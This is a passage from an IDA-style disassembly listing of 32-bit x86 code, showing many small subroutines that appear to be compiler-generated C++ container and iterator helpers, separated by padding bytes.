		push	ecx
		mov	ecx, esi
		call	sub_401401
		pop	esi
		add	esp, 0Ch
		retn
sub_4157E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415830	proc near		; CODE XREF: sub_402130j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4018F2
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401339
		test	al, al
		jz	short loc_4158B1
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415863:				; CODE XREF: sub_415830+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415895
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EA1
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	near ptr loc_401077+1
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_415895:				; CODE XREF: sub_415830+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41589E:				; CODE XREF: sub_415830+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401339
		test	al, al
		jnz	short loc_415863
		pop	edi


loc_4158B1:				; CODE XREF: sub_415830+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415830	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158F0	proc near		; CODE XREF: sub_402252j
		push	esi
		mov	esi, ecx
		call	sub_401E29
		mov	eax, esi
		pop	esi
		retn
sub_4158F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415910	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017DA
		add	esp, 4
		retn
sub_415910	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415930	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415930	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415960	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40144C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415960	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415990	proc near		; CODE XREF: sub_40113Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_415990	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159D0	proc near		; CODE XREF: sub_4016CCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_4159D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415A00	proc near		; CODE XREF: sub_40215Dj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C4E
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401EBA
sub_415A00	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401EFB
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_402194
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415AA0	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401CA8
		test	al, al
		jz	short loc_415AED
		push	edi
		mov	edi, [esp+8+arg_0]


loc_415ABA:				; CODE XREF: sub_415AA0+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A4B
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40215D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_4020EF
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CA8
		test	al, al
		jnz	short loc_415ABA
		pop	edi


loc_415AED:				; CODE XREF: sub_415AA0+13j
		pop	esi
		retn	0Ch
sub_415AA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415B20	proc near		; CODE XREF: sub_401FAFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40156E
		mov	ecx, eax
		call	sub_401C4E
		mov	esi, eax
		push	esi
		call	sub_40208B
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_40208B
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401EFB
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4014F6
		push	esi
		mov	ecx, edi
		call	sub_401CD5
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_415B20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415BE0	proc near		; CODE XREF: sub_401465j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jz	short loc_415C3A


loc_415BF8:				; CODE XREF: sub_415BE0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40156E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FAF
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jnz	short loc_415BF8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415C3A:				; CODE XREF: sub_415BE0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415BE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415C70	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020D6
sub_415C70	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415C85
		mov	edi, esi


loc_415C85:				; CODE XREF: ___:00415C81j
		push	esi
		call	sub_40208B
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415C9A
		mov	edi, esi


loc_415C9A:				; CODE XREF: ___:00415C96j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415CC0	proc near		; CODE XREF: sub_401CD5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E01
		retn	4
sub_415CC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415CE0	proc near		; CODE XREF: sub_40208Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415CE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D00	proc near		; CODE XREF: sub_401EFBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415D00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D20	proc near		; CODE XREF: sub_401EB5j
		mov	eax, ecx
		retn
sub_415D20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D40	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_415D40	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D70	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020A4
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415D70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DA0	proc near		; CODE XREF: sub_4015CDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415DA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415DD0	proc near		; CODE XREF: sub_401A96j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F6E
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C7B
sub_415DD0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402126
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015E6
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E70	proc near		; CODE XREF: sub_4017DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F6E
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402126
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D4D
		push	esi
		mov	ecx, edi
		call	sub_401E1A
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_415E70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415F30	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jz	short loc_415F8A


loc_415F48:				; CODE XREF: sub_415F30+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017DF
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jnz	short loc_415F48
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415F8A:				; CODE XREF: sub_415F30+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415F30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415FC0	proc near		; CODE XREF: sub_401C7Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015A5
sub_415FC0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415FD5
		mov	edi, esi


loc_415FD5:				; CODE XREF: ___:00415FD1j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415FEA
		mov	edi, esi


loc_415FEA:				; CODE XREF: ___:00415FE6j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416010	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
		retn	4
sub_416010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416030	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416030	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416050	proc near		; CODE XREF: sub_402126j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416070	proc near		; CODE XREF: sub_401E79j
		mov	eax, ecx
		retn
sub_416070	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416090	proc near		; CODE XREF: sub_401CC6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416090	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4160C0	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018B6
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4160C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4160F0	proc near		; CODE XREF: sub_401EA6j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4160F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416120	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017D5
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DA2
sub_416120	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017D5
		push	edi
		mov	[eax], ebx
		call	sub_4017D5
		mov	edi, [eax]
		push	edi
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017DA
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401DFC
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+0Ch]
		push	0
		push	eax
		lea	ecx, [esp+20h]
		call	sub_401EA1
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BB8
		push	esi
		mov	ebx, eax
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017D5
		push	esi
		mov	ebx, eax
		call	sub_401BB8
		mov	eax, [eax]
		push	eax
		call	sub_4017D5
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017DA
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4013F7
		push	esi
		mov	ecx, edi
		call	sub_401EF6
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416280	proc near		; CODE XREF: sub_401401j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_4162DA


loc_416298:				; CODE XREF: sub_416280+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EA1
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	near ptr loc_401077+1
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416298
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4162DA:				; CODE XREF: sub_416280+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416310	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401E9C
sub_416310	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416325
		mov	edi, esi


loc_416325:				; CODE XREF: ___:00416321j
		push	esi
		call	sub_401BB8
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41633A
		mov	edi, esi


loc_41633A:				; CODE XREF: ___:00416336j
		push	esi
		call	sub_4017D5
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416360	proc near		; CODE XREF: sub_401EF6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401857
		retn	4
sub_416360	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416380	proc near		; CODE XREF: sub_401BB8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163A0	proc near		; CODE XREF: sub_4017DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4163A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163C0	proc near		; CODE XREF: sub_401E29j
		mov	eax, ecx
		retn
sub_4163C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163E0	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40160E
		mov	eax, esi
		pop	esi
		retn	4
sub_4163E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416410	proc near		; CODE XREF: sub_401EA1j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416410	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416440	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416440	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416470	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416470	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416490	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416490	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164C0	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn	8
sub_4164C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164E0	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_4164E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416510	proc near		; CODE XREF: sub_4014F6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_416510	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416530	proc near		; CODE XREF: sub_401753j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416530	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416550	proc near		; CODE XREF: sub_401A4Bj
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_416550	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416570	proc near		; CODE XREF: sub_4020EFj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416570	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165A0	proc near		; CODE XREF: sub_401CA8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E56
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4165A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



